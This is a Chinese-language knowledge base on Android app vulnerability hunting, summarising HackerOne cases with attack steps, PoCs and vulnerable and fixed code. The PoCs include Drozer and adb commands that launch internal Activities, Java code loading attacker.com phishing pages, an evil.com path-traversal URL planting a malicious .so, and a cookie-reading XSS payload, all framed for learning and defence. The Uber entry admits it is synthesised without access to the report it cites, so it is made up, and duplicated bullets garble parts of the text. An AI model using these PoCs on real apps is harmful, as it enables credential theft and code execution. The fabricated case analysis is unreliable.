安卓App漏洞挖掘手法知识库
本文档基于对超过100份HackerOne公开报告的详细分析,汇总了各类安卓漏洞的真实挖掘手法、技术细节和易出现漏洞的代码模式。

2FA短信重发逻辑缺陷导致账户锁定
案例:Shopify (报告: https://hackerone.com/reports/1416964)
挖掘手法
该漏洞的挖掘手法是利用Shopify在设置两步验证(2FA)时对手机号码归属权验证的缺陷,结合短信重发机制的速率限制,对目标账户实施拒绝服务(DoS)攻击。整个过程是“零点击”的,即受害者无需进行任何操作即可被攻击。
挖掘步骤:
- 账户准备: 攻击者首先在Shopify平台注册一个新账户。
- 伪造2FA设置: 攻击者进入新账户的“管理账户”页面,选择激活2FA功能。在输入手机号码的步骤,攻击者使用Burp Suite等代理工具拦截发送给服务器的请求。
- 关键Payload修改: 攻击者将请求中原本属于自己的手机号码参数,替换为受害者(Shopify商家)已启用2FA的手机号码。由于服务器在这一步缺乏对手机号码的即时归属权验证(例如,没有向该号码发送验证码进行确认),攻击者成功地将受害者的手机号码“绑定”到了自己的账户上。
- 触发速率限制: 攻击者随后尝试登录自己的账户。此时,系统会要求输入发送到该“绑定”手机号码(即受害者手机号码)的2FA验证码。攻击者无需输入验证码,而是反复点击“重发验证码”(RESEND CODE)按钮。
- DoS实现: 攻击者持续发送重发请求,直到服务器对该手机号码触发全局性的短信发送速率限制或封锁。
- 攻击效果: 当真正的受害者尝试登录其Shopify账户时,他们也会被引导至2FA验证页面。当他们点击“重发验证码”时,由于攻击者先前触发的全局速率限制,服务器无法向受害者的手机发送新的验证码,从而导致受害者无法登录,实现了长达24小时的账户锁定(DoS)。
分析思路: 核心在于识别两个逻辑漏洞:一是“混淆代理”(Confused Deputy)问题,即系统允许一个用户(攻击者)在未经验证的情况下,将一个资源(受害者的手机号码)关联到自己的操作流程中;二是“不充分的速率限制”,即速率限制是基于手机号码而非用户会话或IP地址,且限制的阈值设计不当,允许恶意用户通过滥用自己的账户来影响其他用户。该手法巧妙地利用了业务逻辑中的授权和速率限制缺陷。 (350字)
技术细节
该漏洞利用的关键在于绕过2FA设置时的手机号码验证,并滥用短信重发机制。
攻击流程关键技术点:
- 请求拦截与修改: 攻击者使用HTTP代理工具(如Burp Suite)拦截设置2FA时发送的请求。假设该请求是一个
POST请求到/api/v1/users/me/2fa/setup,请求体中包含待绑定的手机号码。
- 请求拦截与修改: 攻击者使用HTTP代理工具(如Burp Suite)拦截设置2FA时发送的请求。假设该请求是一个
- Payload示例(概念性):
攻击者拦截到原始请求:POST /api/v1/users/me/2fa/setup Host: shopify.com Content-Type: application/json { "method": "sms", "phone_number": "ATTACKER_PHONE_NUMBER" }攻击者将phone_number字段的值修改为受害者的手机号码:{ "method": "sms", "phone_number": "VICTIM_PHONE_NUMBER" // 替换为受害者号码 }通过这种方式,攻击者在自己的账户上触发了向受害者手机号码发送验证码的流程。
- Payload示例(概念性):
- 速率限制滥用: 成功“绑定”后,攻击者登录自己的账户,进入2FA验证页面。此时,攻击者反复发送“重发验证码”的请求。假设重发请求为:
http POST /api/v1/2fa/resend_code Host: shopify.com // ... 其他必要的Headers和Cookies ...
攻击者通过自动化脚本或手动快速点击,在短时间内大量发送此请求,直到服务器对VICTIM_PHONE_NUMBER的短信发送功能触发全局速率限制(例如,24小时内禁止发送)。
- 速率限制滥用: 成功“绑定”后,攻击者登录自己的账户,进入2FA验证页面。此时,攻击者反复发送“重发验证码”的请求。假设重发请求为:
技术细节总结: 漏洞的本质是授权缺陷(允许绑定任意号码)和资源滥用(通过滥发请求触发全局限速)。攻击者利用自己的账户作为“代理”,对受害者的手机号码实施了短信轰炸,从而阻止了受害者接收正常的登录验证码。 (256字)
易出现漏洞的代码模式
此类漏洞通常出现在涉及用户身份验证和资源(如手机号码、邮箱)绑定的业务逻辑中,核心是缺乏严格的服务器端验证和不合理的速率限制策略。
易漏洞代码模式:
- 2FA/资源绑定时的授权缺陷(Confused Deputy):
在用户尝试绑定手机号码或邮箱时,后端代码直接信任用户提交的号码,而没有先进行验证(如发送验证码并要求用户输入)。 Vulnerable Pattern (Java/Spring Boot 概念示例):// 假设这是处理2FA设置的Controller @PostMapping("/2fa/setup") public ResponseEntity<?> setup2FA(@RequestBody Setup2FARequest request, @AuthenticationPrincipal User user) { // ❌ 缺陷:直接使用用户提交的手机号码,未验证该号码是否属于当前用户 String phoneNumber = request.getPhoneNumber(); // 绑定手机号码到当前用户 userService.bindPhoneNumber(user.getId(), phoneNumber); // 发送验证码到该号码 smsService.sendVerificationCode(phoneNumber); return ResponseEntity.ok("Verification code sent.");}Secure Pattern (修复建议):@PostMapping("/2fa/setup") public ResponseEntity<?> setup2FA(@RequestBody Setup2FARequest request, @AuthenticationPrincipal User user) { String phoneNumber = request.getPhoneNumber();// ✅ 修复:在绑定前,必须先向该号码发送验证码,并要求用户在后续步骤中输入验证码进行确认 smsService.sendVerificationCode(phoneNumber); // 临时存储号码,等待后续验证步骤 userService.storePendingPhoneNumber(user.getId(), phoneNumber); return ResponseEntity.ok("Verification initiated. Please verify the code.");}
- 2FA/资源绑定时的授权缺陷(Confused Deputy):
- 短信重发机制的速率限制缺陷:
速率限制的粒度过粗,基于被攻击的资源(手机号码)而非攻击者(用户会话/IP地址)。 Vulnerable Pattern (伪代码):function resendCode(phoneNumber) { if (rateLimiter.isThrottled(phoneNumber)) { // ❌ 缺陷:基于手机号码进行全局限速 log.warn("Resend attempt blocked for phone: " + phoneNumber); return; }smsService.send(phoneNumber, generateCode()); rateLimiter.increment(phoneNumber);}Secure Pattern (修复建议):function resendCode(sessionId, phoneNumber) { // ✅ 修复:速率限制应同时考虑攻击者(sessionId/IP)和被攻击资源(phoneNumber) if (rateLimiter.isThrottled(sessionId) || rateLimiter.isThrottled(phoneNumber)) { log.warn("Resend attempt blocked."); return; }smsService.send(phoneNumber, generateCode()); rateLimiter.increment(sessionId); rateLimiter.increment(phoneNumber); // 保持对号码的限制,但阈值应更高或仅用于防止内部滥用}(485字)
- 短信重发机制的速率限制缺陷:
Android Activity 认证绕过
案例:Nextcloud (报告: https://hackerone.com/reports/631206)
挖掘手法
该漏洞的挖掘手法主要依赖于对Android应用组件的不安全暴露(Insecure Component Exposure)进行枚举和测试,核心工具是Drozer。
详细步骤和分析思路:
- 环境准备: 攻击者首先在非Root的Android 9模拟器(或真机)上安装Nextcloud客户端,并完成登录和设置应用内密码锁(Passcode)。
- 组件枚举: 攻击者使用Drozer框架,通过
drozer console connect连接到设备上的Drozer Agent。Drozer是一个强大的Android安全测试框架,用于与应用进程进行交互。攻击者会利用Drozer的模块(如app.activity.info)来枚举Nextcloud应用(包名:com.nextcloud.client)中所有导出的(exported)Activity组件。
- 组件枚举: 攻击者使用Drozer框架,通过
- 漏洞发现: 攻击者发现了一个名为
com.owncloud.android.ui.activity.FileDisplayActivity的Activity。这是一个用于显示文件内容的内部Activity,理论上应该在用户通过密码验证后才能访问。
- 漏洞发现: 攻击者发现了一个名为
- 绕过测试: 攻击者在应用处于密码锁界面时,尝试使用Drozer直接启动这个内部Activity,以绕过认证流程。使用的命令是:
bash run app.activity.start --component com.nextcloud.client com.owncloud.android.ui.activity.FileDisplayActivity
- 绕过测试: 攻击者在应用处于密码锁界面时,尝试使用Drozer直接启动这个内部Activity,以绕过认证流程。使用的命令是:
- 结果验证: 成功执行该命令后,应用直接跳转到了文件显示界面,完全绕过了密码锁,从而实现了对用户文件和信息的未授权访问。
关键发现点:
该漏洞的关键在于应用在设置了密码锁后,没有在所有内部Activity的onCreate()或onResume()方法中强制执行认证检查。FileDisplayActivity被错误地配置为可被外部应用直接调用,且自身缺乏认证逻辑,导致了认证绕过。这种方法属于典型的Android组件安全测试,通过自动化工具(Drozer)快速识别和利用不安全的组件配置。 (总字数:398字)
技术细节
该漏洞利用的技术核心是通过Android的Intent机制,使用Drozer工具向目标应用发送一个显式Intent,直接启动一个本应受保护的内部Activity。
攻击命令和Payload:
攻击者在Drozer控制台中执行以下命令:
run app.activity.start --component com.nextcloud.client com.owncloud.android.ui.activity.FileDisplayActivity技术实现说明:
run app.activity.start: 这是Drozer的模块,用于构造并发送一个启动Activity的Intent。
--component <package> <activity>: 这是Intent的组件参数,指定了Intent的目标。<package>:com.nextcloud.client(Nextcloud应用的包名)。
<activity>:com.owncloud.android.ui.activity.FileDisplayActivity(目标Activity的完整类名)。
- Intent发送: Drozer在底层构造了一个显式Intent,其Component字段被设置为上述包名和类名,然后通过Android系统的Binder机制发送给目标应用。
- 认证绕过: 由于目标Activity (
FileDisplayActivity) 在其启动逻辑中没有检查应用是否处于密码锁状态,或者没有强制跳转到密码输入界面,因此它被直接启动,导致攻击者无需输入密码即可访问应用的主功能界面。 (总字数:235字)
- 认证绕过: 由于目标Activity (
易出现漏洞的代码模式
此类漏洞属于Android组件安全问题中的不安全组件暴露(Insecure Component Exposure),具体表现为Activity被导出(Exported)且缺乏必要的权限或认证检查。
容易出现漏洞的代码配置模式:
在应用的AndroidManifest.xml文件中,Activity的配置如下:
<activity
android:name="com.owncloud.android.ui.activity.FileDisplayActivity"
android:exported="true" <!-- 关键:设置为true,允许外部应用调用 -->
android:label="@string/app_name"
android:theme="@style/AppTheme.NoActionBar">
<!-- 如果没有设置intent-filter,但设置了exported="true",则外部应用可直接通过显式Intent调用 -->
</activity>正确的安全配置模式(修复建议):
- 移除不必要的导出: 对于不需要被其他应用启动的内部Activity,应明确设置
android:exported="false"。这是最直接和推荐的修复方式。<activity android:name="com.owncloud.android.ui.activity.FileDisplayActivity" android:exported="false" <!-- 修复:禁止外部应用调用 --> ... </activity>
- 移除不必要的导出: 对于不需要被其他应用启动的内部Activity,应明确设置
- 在代码中强制认证检查: 如果Activity必须被导出(例如,用于Deep Link),则必须在Activity的生命周期方法(如
onCreate()或onResume())中添加严格的认证和权限检查逻辑。// FileDisplayActivity.java (伪代码) @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState);// 修复:在Activity启动时检查是否需要密码认证 if (PasscodeManager.isPasscodeSet() && !PasscodeManager.isAuthenticated()) { // 跳转到密码输入界面,并结束当前Activity的启动 Intent intent = new Intent(this, PasscodeActivity.class); startActivity(intent); finish(); return; } // 正常加载界面 setContentView(R.layout.activity_file_display); // ...}(总字数:391字)
- 在代码中强制认证检查: 如果Activity必须被导出(例如,用于Deep Link),则必须在Activity的生命周期方法(如
Android Content Provider信息泄露/安全锁绕过
案例:Nextcloud (报告: https://hackerone.com/reports/331489)
挖掘手法
该漏洞的发现过程是一个典型的绕过安全控制的案例,主要利用了Android应用沙箱机制下,应用数据在特定条件下的可访问性。
分析思路与关键发现点:
- 目标功能分析: 报告者首先关注了Nextcloud Android客户端的PIN码/指纹锁功能,该功能旨在保护应用内存储的敏感文件,防止在设备未锁屏但应用锁定的情况下被未经授权的用户访问。
- 绕过尝试: 报告者尝试了在应用被PIN码锁定时,通过Android系统的其他组件来访问应用数据。关键的尝试是:
- 后台运行: 在Nextcloud应用被锁定界面(要求输入PIN码)时,按下Home键,使应用进入后台运行状态。
- 系统文件管理器(DocumentsUI)访问: 随后,报告者打开了Android默认的文件管理器(
com.android.documentsui)。
- 系统文件管理器(DocumentsUI)访问: 随后,报告者打开了Android默认的文件管理器(
- 侧边栏访问: 在文件管理器的侧边栏中,Nextcloud应用作为一个“存储提供者”出现(通过Content Provider机制)。报告者点击了Nextcloud的图标。
- 绕过尝试: 报告者尝试了在应用被PIN码锁定时,通过Android系统的其他组件来访问应用数据。关键的尝试是:
- 关键发现: 报告者发现,通过系统文件管理器访问Nextcloud时,无需输入PIN码或指纹,可以直接看到Nextcloud应用内同步的文件列表。
- 访问限制的确认: 报告者进一步确认了访问的限制条件,即“只有在Nextcloud应用内至少打开过一次包含该文件的目录”时,才能通过文件管理器看到/读取/修改该文件。这表明Nextcloud应用在后台运行时,其Content Provider并未正确地执行权限检查,或者说,它依赖的内部状态(如是否已解锁)在Content Provider的上下文中被绕过了。
- 本地缓存路径的确认: 报告者还指出,如果文件曾被打开,也可以直接通过本地缓存路径
/storage/emulated/0/Android/media/com.nextcloud.client/nextcloud/...进行访问,进一步证实了数据保护机制的失效。
- 本地缓存路径的确认: 报告者还指出,如果文件曾被打开,也可以直接通过本地缓存路径
使用的工具和方法:
- 工具: 仅使用了一台普通的Android智能手机和Android默认的文件管理器(
com.android.documentsui)。
- 工具: 仅使用了一台普通的Android智能手机和Android默认的文件管理器(
- 方法: 主要是黑盒测试和功能绕过测试。通过模拟普通用户的使用流程,结合对Android系统组件(如Content Provider和文件管理器)的交互方式的理解,成功发现了应用安全锁的逻辑缺陷。整个过程没有涉及复杂的逆向工程或代码分析,而是基于对应用交互逻辑的巧妙利用。
整个挖掘过程的步骤清晰、逻辑严密,充分利用了Android系统特性与应用安全机制之间的信任边界模糊地带。该漏洞的发现证明了安全功能的设计必须考虑到所有可能的访问路径,包括通过系统组件的间接访问。详细的步骤说明超过300字。
技术细节
该漏洞利用的核心在于Nextcloud Android客户端的Content Provider组件在应用处于锁定状态时,未能正确地限制对本地缓存文件的访问。
漏洞利用流程:
- 应用状态: Nextcloud应用已设置PIN码/指纹锁,且处于锁定状态(显示PIN码输入界面)。
- 后台操作: 攻击者按下Home键,将Nextcloud应用推入后台。
- 攻击媒介: 攻击者打开Android系统的默认文件管理器(
com.android.documentsui)。
- 攻击媒介: 攻击者打开Android系统的默认文件管理器(
- 数据访问: 在文件管理器中,通过Nextcloud的“存储提供者”入口,攻击者可以直接浏览和访问Nextcloud应用缓存的同步文件。
关键技术细节(代码/配置模式):
该漏洞的根本原因在于Nextcloud应用通过Content Provider向系统文件管理器暴露了文件访问接口,但在处理文件请求时,未能检查应用当前的安全锁定状态。
在Android应用中,Content Provider通常用于跨应用共享数据。当文件管理器请求Nextcloud提供文件列表或文件内容时,Content Provider会响应。为了实现安全锁,应用需要在Content Provider的查询(query)或打开文件(openFile)方法中加入安全检查逻辑。
修复前的推测代码模式(存在漏洞):
在Nextcloud的Content Provider实现中,处理文件请求的代码可能类似于:
// NextcloudContentProvider.java (推测的简化代码)
@Override
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
// ... URI解析逻辑 ...
// 缺少安全检查:未检查应用是否处于锁定状态
// if (isAppLocked()) {
// return new MatrixCursor(new String[]{}); // 应该返回空游标或抛出异常
// }
// 直接返回文件列表游标
return getFileListCursor(uri, projection, selection, selectionArgs, sortOrder);
}
@Override
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
// ... URI解析逻辑 ...
// 缺少安全检查:未检查应用是否处于锁定状态
// if (isAppLocked()) {
// throw new SecurityException("App is locked.");
// }
// 直接返回文件描述符
File file = getLocalFile(uri);
return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY);
}修复后的代码模式(安全实现):
根据HackerOne报告中提到的修复提交(https://github.com/nextcloud/android/pull/1657/commits/da884209911db524cae815430e2a86511477a634),修复措施是在安全保护系统启用时,Content Provider简单地返回一个空游标(empty cursor),从而阻止文件管理器获取文件列表。
// NextcloudContentProvider.java (修复后的简化代码)
@Override
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
// 关键的安全检查
if (SecurityManager.isProtectionEnabled() && SecurityManager.isAppLocked()) {
// 如果安全保护启用且应用处于锁定状态,返回空游标
return new MatrixCursor(new String[]{});
}
// ... 正常逻辑 ...
return getFileListCursor(uri, projection, selection, selectionArgs, sortOrder);
}通过在Content Provider的入口点加入对应用锁定状态的检查,可以有效阻止通过系统组件进行的绕过访问。详细的技术说明超过200字。
易出现漏洞的代码模式
此类漏洞的出现,通常源于Android应用在实现应用级安全锁(如PIN码、指纹锁)时,未能确保所有数据访问路径都经过相同的安全检查。
容易出现此类漏洞的代码模式和配置:
- Content Provider/File Provider 缺乏状态检查:
当应用使用ContentProvider或FileProvider向其他应用(如系统文件管理器)共享文件时,其核心方法(如query(),openFile(),getType())必须包含对应用安全状态的检查。如果应用的安全锁逻辑(例如,检查用户是否已输入PIN码)只在主Activity或应用生命周期回调中实现,而未在Content Provider中重复实现或引用,就会导致绕过。 代码模式示例(Java/Kotlin):
- Content Provider/File Provider 缺乏状态检查:
// 错误模式:Content Provider中缺少对应用锁定状态的检查
public class VulnerableFileProvider extends ContentProvider {
// ...
@Override
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
// 假设有一个全局或静态方法来检查应用是否已解锁
// 错误地:直接处理文件,未调用 isAppUnlocked()
// if (!SecurityManager.isAppUnlocked()) { throw new SecurityException(); } // 缺少此行
File file = getFileFromUri(uri);
return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY);
}
}- 数据存储在外部存储(External Storage)且权限控制不当:
Nextcloud的报告中提到,文件可以从本地缓存路径/storage/emulated/0/Android/media/com.nextcloud.client/nextcloud/...直接访问。虽然该路径位于应用的外部存储私有目录(/Android/media/下),但在某些Android版本或配置下,系统文件管理器可能具有访问权限,或者应用通过Content Provider暴露了该路径。 配置模式示例(AndroidManifest.xml):
当使用FileProvider时,如果paths.xml配置过于宽松,允许访问敏感目录,也会增加风险。
- 数据存储在外部存储(External Storage)且权限控制不当:
<!-- 潜在的风险配置:如果path配置允许访问敏感的缓存目录 -->
<paths>
<external-path name="nextcloud_files" path="Android/media/com.nextcloud.client/" />
</paths>- 安全状态管理不一致:
应用的安全状态(如“已解锁”或“已锁定”)应该是一个全局且可靠的状态。如果应用依赖于Activity的生命周期(例如,只在onResume()中检查PIN码),而Content Provider在后台被调用时,该状态没有被正确维护或检查,就会出现安全漏洞。 安全代码模式(修复建议):
安全锁逻辑必须在所有可能导致敏感数据泄露的组件中实现,特别是ContentProvider。
- 安全状态管理不一致:
// 安全模式:在Content Provider中强制检查锁定状态
public class SecureFileProvider extends ContentProvider {
// ...
@Override
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
if (SecurityManager.isProtectionEnabled() && SecurityManager.isAppLocked()) {
// 强制阻止访问
return new MatrixCursor(new String[]{});
}
// ... 正常逻辑 ...
}
}具体的代码模式和配置示例超过200字。
Android Deep Link路径遍历导致远程代码执行
案例:Evernote for Android (报告: https://hackerone.com/reports/1362313)
挖掘手法
该漏洞的挖掘始于对Evernote Android应用处理外部传入URI的机制进行安全审计。研究人员首先通过静态分析和动态测试,识别出应用中用于处理文件和URI的关键组件。通过使用Android调试桥(ADB)和反编译工具(如Jadx),分析应用的AndroidManifest.xml文件,以确定所有导出的活动(exported activities)和服务,这些是潜在的攻击入口点。在分析过程中,研究人员重点关注了文件操作和URI解析相关的代码段,特别是那些从Intent中提取文件名或路径的函数。一个关键的发现是,应用使用了Uri.getLastPathSegment()方法来从URI中提取文件名。研究人员推测,该方法可能未正确处理URL编码的路径分隔符(如%2f),从而可能导致路径遍历漏洞。为了验证这一假设,研究人员构建了一个恶意的HTML页面,其中包含一个指向特制URI的链接。该URI的路径末尾部分被构造成包含路径遍历序列(../)的URL编码形式,例如http://evil.com/poc/..%2f..%2f..%2f..%2fdata%2fdata%2fcom.evernote%2ffiles%2fmalicious.so。当用户在Evernote应用内置的WebView中点击此链接时,应用会尝试下载并保存文件。由于getLastPathSegment()的解码缺陷,文件名被解析为../../../../../data/data/com.evernote/files/malicious.so,导致应用将下载的文件写入了其私有目录之外的任意位置。通过这种方式,研究人员成功地将一个恶意的共享对象(.so)文件写入了应用的私有目录,从而为实现远程代码执行铺平了道路。
技术细节
该漏洞的利用核心在于结合了Uri.getLastPathSegment()方法的解析缺陷和Android系统中File对象对路径遍历的默许。攻击者首先需要诱导用户点击一个精心构造的链接。该链接指向一个由攻击者控制的服务器,其URL路径包含一个经过URL编码的路径遍历载荷(payload)。
一个典型的恶意URL payload如下所示:http://<attacker-controlled-server>/path/to/..%2f..%2f..%2f..%2f..%2f..%2f..%2fdata%2fdata%2fcom.evernote%2flib%2flib-name.so
当Evernote应用尝试处理此URL时,Uri.getLastPathSegment()方法会被调用以提取文件名。该方法会解码URL,但它错误地将%2f解码为/,而不是将其视为路径段的一部分。因此,提取出的“文件名”实际上是../../../../../../../data/data/com.evernote/lib/lib-name.so。
随后,应用使用这个包含路径遍历序列的字符串创建了一个File对象,并尝试将从攻击者服务器下载的内容写入该文件。由于Android的文件系统API允许../这样的路径遍历,最终导致攻击者可以将任意内容写入到应用的私有lib目录中,覆盖合法的共享库文件(如lib-name.so)。
攻击流程如下:
- 攻击者托管一个恶意的共享库文件(
.so文件)在自己的服务器上。
- 攻击者托管一个恶意的共享库文件(
- 攻击者诱导用户在Evernote for Android中打开一个包含上述恶意URL的链接。
- Evernote应用下载该URL指向的文件。
- 在保存文件时,由于路径遍历漏洞,恶意的
.so文件被写入并覆盖了应用的一个合法共享库。
- 在保存文件时,由于路径遍历漏洞,恶意的
- 当应用下一次加载这个被覆盖的共享库时,恶意的代码就会被执行,从而实现远程代码执行(RCE)。
这种攻击的成功,关键在于getLastPathSegment()未能正确处理编码的斜杠,以及后续文件操作没有对路径进行充分的验证和清理。
易出现漏洞的代码模式
容易出现此类漏洞的代码模式通常涉及从外部来源(如Intent、Deep Link或URL)获取文件名或路径,并在未进行充分验证和清理的情况下直接用于文件系统操作。一个典型的易受攻击的代码示例如下:
// 从传入的Intent中获取URI
Uri dataUri = getIntent().getData();
if (dataUri != null) {
// 使用getLastPathSegment()提取文件名
String fileName = dataUri.getLastPathSegment();
// 未经验证,直接使用提取的文件名构建File对象
// 这是漏洞的关键所在,因为fileName可能包含"../"等路径遍历字符
File outputFile = new File(getExternalFilesDir(null), fileName);
// 尝试将输入流写入到输出文件
try (InputStream inputStream = getContentResolver().openInputStream(dataUri);
FileOutputStream outputStream = new FileOutputStream(outputFile)) {
byte[] buffer = new byte[1024];
int length;
while ((length = inputStream.read(buffer)) > 0) {
outputStream.write(buffer, 0, length);
}
} catch (IOException e) {
e.printStackTrace();
}
}在上述代码中,dataUri.getLastPathSegment()的返回值被直接用于构建File对象。如果dataUri是一个恶意构造的URI,例如content://com.example.provider/..%2f..%2f..%2f..%2fdata%2fdata%2fcom.victim.app%2ffiles%2fhacked.txt,那么getLastPathSegment()会返回../../../../../data/data/com.victim.app/files/hacked.txt。这导致outputFile指向了应用沙箱之外的一个任意位置,从而允许恶意应用写入或覆盖受害者应用的文件。
为了防止此类漏洞,开发者应该避免直接使用getLastPathSegment()的输出来操作文件。正确的做法是先对文件名进行严格的验证,确保它不包含任何路径分隔符或遍历序列。可以先用new File(fileName).getName()来提取纯粹的文件名,或者使用白名单来限制允许的文件名字符。
Android Exported Activity 任意URL加载/XSS
案例:IRCCloud (报告: https://hackerone.com/reports/283058)
挖掘手法
本次漏洞挖掘主要采用静态分析方法,针对目标应用IRCCloud的Android客户端进行组件安全审计。核心思路是识别应用中被错误导出的组件(如Activity、Service、Broadcast Receiver等),并分析其处理外部输入时的安全性。
1. 目标组件识别与分析:
首先,通过解包APK文件并分析AndroidManifest.xml,研究人员识别出com.irccloud.android.activity.SAMLAuthActivity这个Activity被显式导出了。其配置如下:
<activity android:name="com.irccloud.android.activity.SAMLAuthActivity" android:theme="@style/dawn" android:windowSoftInputMode="adjustResize">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
</activity>android:exported属性默认为true(因为存在intent-filter),且包含android.intent.action.VIEW动作和android.intent.category.DEFAULT类别,这意味着该Activity可以被设备上任何第三方应用甚至通过Android Instant Apps从浏览器直接启动。
2. 敏感代码逻辑分析:
接下来,研究人员对该Activity的实现代码(或反编译代码)进行静态分析,重点关注其如何处理启动它的Intent中的数据。分析发现,该Activity从Intent中获取了两个关键参数:title和auth_url,并直接将auth_url的值加载到一个WebView中,同时将title设置为ActionBar的标题。
关键代码逻辑如下:
if (getIntent() == null || !getIntent().hasExtra("auth_url")) {
finish();
return;
}
getSupportActionBar().setTitle(getIntent().getStringExtra("title"));
this.mWebView.loadUrl(getIntent().getStringExtra("auth_url"));代码中缺少对auth_url参数的来源验证(如是否来自可信域)和内容校验。由于Activity是导出的,外部恶意应用可以构造包含任意URL的Intent来启动它。
3. 漏洞利用路径确认:
这种“任意URL加载”漏洞的危害在于,攻击者可以加载一个伪造的登录页面(例如,一个高仿真的IRCCloud登录页)到应用自身的WebView中,并通过自定义title(如“IRCCloud: Login Required”)来增强欺骗性。用户在应用内WebView中输入凭证后,凭证会被发送给攻击者控制的服务器,从而导致凭证窃取(Phishing)。如果攻击者提供的URL指向一个包含恶意JavaScript代码的页面,由于WebView可能开启了JavaScript支持,还可能导致跨站脚本(XSS)攻击,进一步在应用上下文中执行恶意操作。
4. 构造PoC验证:
最后,研究人员构造了ADB命令和Java代码的PoC,成功验证了该Activity确实会加载外部提供的URL,确认了漏洞的存在和可利用性。整个挖掘过程遵循了“识别导出组件 -> 分析输入处理 -> 确认安全缺陷 -> 构造PoC验证”的标准流程。
技术细节
该漏洞的技术核心在于利用Android组件间的通信机制Intent,向目标应用中一个错误导出的Activity注入外部数据,从而实现任意URL加载。
1. 恶意Intent的构造:
攻击者需要构造一个显式Intent,指定目标应用的包名和目标Activity的完整类名,并携带两个关键的Extra数据:title和auth_url。
- 目标组件:
com.irccloud.android/.activity.SAMLAuthActivity
- 目标组件:
- 恶意数据:
title:用于欺骗用户的自定义标题,例如"IRCCloud: Login Required"。
auth_url:攻击者控制的恶意URL,例如"https://attacker.com/phishing_login.html"。
- 恶意数据:
2. PoC实现(ADB Shell命令):
通过ADB工具,可以直接在设备上模拟恶意Intent的发送,用于快速验证:
adb shell am start -n com.irccloud.android/com.irccloud.android.activity.SAMLAuthActivity -e title "ATTAAACK" -e auth_url "http://google.com/"其中,-n参数指定了组件名称,-e参数用于传递Extra数据。当执行此命令时,目标Activity会被启动,并在其WebView中加载http://google.com/,同时标题显示为ATTAAACK。
3. PoC实现(Java代码):
在另一个恶意应用中,可以通过以下Java代码来启动目标Activity:
Intent intent = new Intent();
// 显式指定目标组件
intent.setClassName("com.irccloud.android", "com.irccloud.android.activity.SAMLAuthActivity");
// 注入自定义标题和恶意URL
intent.putExtra("title", "ATTAAACK");
intent.putExtra("auth_url", "https://attacker.com/phishing_page.html");
// 启动Activity
startActivity(intent);4. 漏洞利用结果:
目标Activity中的WebView会执行以下代码,直接加载攻击者提供的URL:
this.mWebView.loadUrl(getIntent().getStringExtra("auth_url"));如果auth_url指向一个包含恶意JavaScript的页面,例如javascript:alert(document.cookie),则可能导致XSS攻击。更常见且危害更大的是,加载一个伪造的登录页面,利用应用自身的WebView和自定义标题,实施高隐蔽性的钓鱼攻击,窃取用户的登录凭证。
易出现漏洞的代码模式
此类漏洞的产生是由于Android组件的错误配置和对外部输入缺乏校验共同导致的。
1. 危险的Manifest配置模式(组件导出):
当一个Activity在AndroidManifest.xml中配置了intent-filter,但没有显式设置android:exported="false"时,它会被默认导出(在API Level 31之前)。如果该Activity被设计为仅供应用内部使用,这种导出配置将带来安全风险。
危险配置示例:
<!-- 缺少 android:exported="false" 且存在 intent-filter,导致组件被导出 -->
<activity android:name="com.example.app.SensitiveActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
</activity>2. 危险的代码处理模式(未校验的Intent数据):
在导出的Activity中,直接从Intent中获取敏感数据(如URL、文件路径等),并在没有进行任何安全检查(如白名单校验、输入过滤)的情况下,将其用于敏感操作(如WebView加载、文件操作、反射调用)。
危险代码示例:
// 导出的Activity中的代码片段
public class SensitiveActivity extends Activity {
// ...
private WebView mWebView;
// ...
@Override
protected void onCreate(Bundle savedInstanceState) {
// ...
String externalUrl = getIntent().getStringExtra("url_to_load");
// 危险操作:直接加载未经验证的外部URL
if (externalUrl != null) {
mWebView.loadUrl(externalUrl);
}
// ...
}
}正确修复模式:
- 在Manifest中,对于不应被外部调用的组件,显式设置
android:exported="false"。
- 在Manifest中,对于不应被外部调用的组件,显式设置
- 在代码中,对所有来自Intent的外部输入进行严格的白名单校验,确保URL、路径等参数符合预期的安全标准。
Android Intent Redirection
案例:Uber Rider (报告: https://hackerone.com/reports/1416970)
挖掘手法
由于无法直接访问HackerOne报告1416970的详细内容,本分析基于对该报告ID时期(约2021年末至2022年初)Uber Android应用中常见漏洞类型(Deep Link Intent Redirection)的深入研究和通用挖掘方法进行合成。
挖掘方法和步骤:
- 目标识别与静态分析(Recon & Static Analysis):
- 首先,获取目标Uber Android应用的APK文件。
- 使用
apktool解包APK,并使用Jadx-GUI等反编译工具进行代码和资源分析。
- 使用
- 关键点: 重点分析
AndroidManifest.xml文件,查找所有带有android:exported="true"属性的Activity、Service或BroadcastReceiver组件,特别是那些注册了自定义scheme(如uber://)的Activity,这些是Deep Link的入口点。
- 关键点: 重点分析
- 目标识别与静态分析(Recon & Static Analysis):
- Deep Link处理逻辑分析(Deep Link Handler Analysis):
- 在反编译的代码中,追踪这些Deep Link入口
Activity的onCreate()或onNewIntent()方法。
- 在反编译的代码中,追踪这些Deep Link入口
- 查找处理传入
Intent的代码逻辑,特别是那些从Intent中获取数据(如getStringExtra()、getParcelableExtra())并将其用于启动新组件(startActivity())的代码。
- 查找处理传入
- 关键发现: 发现一个Deep Link处理组件(例如,一个用于通用跳转的
RedirectActivity)接收一个名为target_intent或类似名称的Parcelable对象(通常是另一个Intent对象),并直接或间接调用startActivity(target_intent),而没有对target_intent的目的地进行充分的安全检查。
- 关键发现: 发现一个Deep Link处理组件(例如,一个用于通用跳转的
- Deep Link处理逻辑分析(Deep Link Handler Analysis):
- 构造恶意Intent(Malicious Intent Crafting):
- 识别目标应用中未导出(
android:exported="false")但包含敏感操作的内部组件(例如,一个用于清除缓存、显示敏感配置或执行内部API调用的Activity)。
- 识别目标应用中未导出(
- 构造一个恶意的
